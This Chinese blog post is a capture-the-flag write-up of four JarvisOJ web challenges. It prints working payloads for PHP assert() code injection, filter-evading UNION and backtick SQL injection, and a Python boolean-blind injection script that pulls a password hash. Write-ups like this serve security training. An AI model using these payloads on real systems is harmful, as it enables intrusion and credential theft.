JarvisOJ-WriteUp

WEB

babyphp

题目入口:http://web.jarvisoj.com:32798/

看到说了用git考虑到git泄露

试一下http://web.jarvisoj.com:32798/.git/HEAD


确定存在泄露,祭出工具GitHack

1
python GitHack.py http://web.jarvisoj.com:32798/.git/

泄露的flag.php文件肯定是没有flag的,主要还是看index.php
index.php关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
...
.
.
...
</html>

我们可以传进一个$page,然后$page会和$file进行拼接,最后assert()中的表达式用到了$file。那么就可以通过构造$page进行代码注入,使assert()执行php代码。
我们构造

1
?page='.show_source('templates/flag.php').'

拼接后的$file就是

1
templates/'.show_source('templates/flag.php').'.php

这样assert()的参数就不再是表达式而是字符串,那么assert()就会将这个字符串当作php代码执行。
所以我们构造的show_source('templates/flag.php')就会被执行。

1
61dctf{8e_careful_when_us1ng_ass4rt}

IN A Mess

题目入口:http://web.jarvisoj.com:32780/
进入看到

查看源代码发现

1
<!--index.phps-->work harder!harder!harder!

访问index.phps拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>

分析

  1. 如果$id传0就会跳转但下面的条件有$id==0,这里利用弱类型比较可以传字符也可以用0e去绕过。
    1
    2
    $id=asd
    $id=0e1234
  2. $a可以使用伪协议php://input也可以用data类型url
    1
    2
    $a=php://input    #然后POST一个内容为1112 is a nice lab!的body
    $a=data:,1112 is a nice lab! #data类型url
  3. $b可以采用%00去截断,%00在strlen()不截断在substr()中会截断所以substr($b,0,1)就截取不到东西所以eregi(“111”,”1114”),substr($b,0,1)!=4都成立。
    1
    $b=%0012345
    payload:
    1
    ?id=asd&a=data:,1112 is a nice lab!&b=%00123345

    返回一个/^HT2mCpcvOLf看起来像文件,访问发现是个目录名

    源代码没东西,有个id参数,加个单引号

    爆语句,应该是sql注入,测试一下过滤。
    id等于1和0正常返回hi666,其它数字则会爆出语句。
    空格会被拦截,union,select等关键词被过滤。
    绕过姿势:空格用注释绕过/*1*/,关键词可用双写绕过,然后就是常规手工注入了。
    测字段数
    1
    index.php?id=1/*1*/order/*1*/by/*1*/3
    3列,找回显位
    1
    index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,3
    回显位只有3,接下来爆表名
    1
    index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,table_name/*1*/frofromm/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()
    返回表名为content,然后爆列名
    1
    2
    3
    index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,column_name/*1*/frofromm/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74/*1*/limit/*1*/0,1
    index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,column_name/*1*/frofromm/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74/*1*/limit/*1*/1,1
    index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,column_name/*1*/frofromm/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74/*1*/limit/*1*/2,1
    这里content要用十六进制编码,然后爆出了id,context,title三个列名,按直觉直接查context列
    1
    index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,context/*1*/frofromm/*1*/content
    拿到flag
    1
    PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

    inject

题目入口:http://web.jarvisoj.com:32794/
注入题,然后访问页面只显示个flag{xxx},源代码里什么也没有。
hint说要先找到源代码
估计是有泄露,用扫描器扫一下找到了index.php~

1
2
3
4
5
6
7
8
9
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

参数是table,如果没有传参$table就等于test。
Filter()是自定义的一个过滤函数。
测试了一下当table不等于test的时候就会输出Hello Hacker。可以知道是执行了Hacker()函数,说明前面的mysqli_query()执行不成功。
看到mysqli_query()的执行语句是

1
desc `secret_{$table}`

desc命令可以用来查看表结构也可以用来排序,看本题中的用法可以知道是查看表结构,所以desc命令后面接的表名要存在才能执行成功。
而语句中用了反引号,那么就可以采用闭合反引号来进行注入。
尝试构造

1
?table=test` `union select user()

闭合后

1
desc `secret_test` `union select user()`

因为secret_test表存在所以desc语句成功执行。
接下来拼接的sql语句就变为

1
select 'flag{xxx}' from secret_test` `union select user()

语句中的两个反引号就相当于空格了,但是回显仍然是flag{xxx}。
这是因为只echo查询结果中的第一条记录。所以我们需要使用limit来进行约束。

1
?table=test` `union select user() limit 1,1



拿到了当前用户,接下来就可以进行常规的注入操作了。
查询表名

1
index.php?table=test` `union select table_name from information_schema.tables where table_schema=database() limit 1,1

返回表名为secret_flag,然后查字段名

1
index.php?table=test` `union select column_name from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1

返回字段名为flagUwillNeverKnow,爆值

1
index.php?table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1

拿到flag

1
flag{luckyGame~}

Simple Injection

题目入口:http://web.jarvisoj.com:32787/

访问显示一个登录框

发现用户名为admin时,显示密码错误,其它则显示用户名错误。测试一下万能密码不行。用户名查询和密码查询是分开写的。
考虑在用户名这个可以采用布尔注入。
测试一下:

1
2
username=admin' and '1'='1'#&password=2  //显示密码错误,说明用户名查询为真
username=admin' and '1'='2'#&password=2 //显示用户名错误,说明用户名查询为假

后面踩了些坑,具体不叙述,测试发现是过滤了空格,所以采用注释的形式绕过。
尝试手工爆数据库名

1
2
3
4
5
username=admin'/*1*/and/*1*/ascii(substr(database(),1,1))>100#&password=2  //密码错误
username=admin'/*1*/and/*1*/ascii(substr(database(),1,1))>110#&password=2 //用户名错误
username=admin'/*1*/and/*1*/ascii(substr(database(),1,1))>105#&password=2 //用户名错误
username=admin'/*1*/and/*1*/ascii(substr(database(),1,1))>103#&password=2 //密码错误
username=admin'/*1*/and/*1*/ascii(substr(database(),1,1))>104#&password=2 //密码错误

按照逻辑,库名第一个字符的ascii>104为真,>105为假,那就是105了,对应'i'字符。
接下来写脚本进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests, string

chars = string.ascii_letters + string.digits + string.punctuation #为了保险,使用数字+大小写+标点符号作为字典
url = "http://web.jarvisoj.com:32787/login.php"
payload = {
"username": "admin",
"password": "1"
}
usernameTamplate = "admin'/*1*/and/*1*/ascii(substr(database(),{0},1))={1}#"
result = ""
for i in range(1, 11): #range范围按实际情况修改
for j in chars:
payload["username"] = usernameTamplate.format(i, ord(j))
r = requests.post(url, data=payload)
if (len(r.text) == 1191): #1191是密码错误时的响应长度
result += j
print("database:" + result)
break
print("数据库名结束")


脚本测试通过。
那么只需修改一下语句就可以爆表、字段和值了。下面给相关语句:
爆表名

1
admin'/*1*/and/*1*/ascii(substr((select/*1*/table_name/*1*/from/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()),1,1))=1#

得到表名为admin,再爆列名

1
admin'/*1*/and/*1*/ascii(substr((select/*1*/group_concat(column_name)/*1*/from/*1*/information_schema.columns/*1*/where/*1*/table_name=0x61646d696e),1,1))=1#

用group_concat爆出表名有id,username,password
再把值爆出来,为了方便,只爆password字段

1
admin'/*1*/and/*1*/ascii(substr((select/*1*/group_concat(password)/*1*/from/*1*/admin),1,1))=1#


MD5加密,解密得明文:eTAloCrEP
登录得到flag

1
CTF{s1mpl3_1nJ3ction_very_easy!!}
文章作者: SNCKER
文章链接: https://sncker.github.io/blog/2019/09/28/JarvisOJ-WriteUp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SNCKER's blog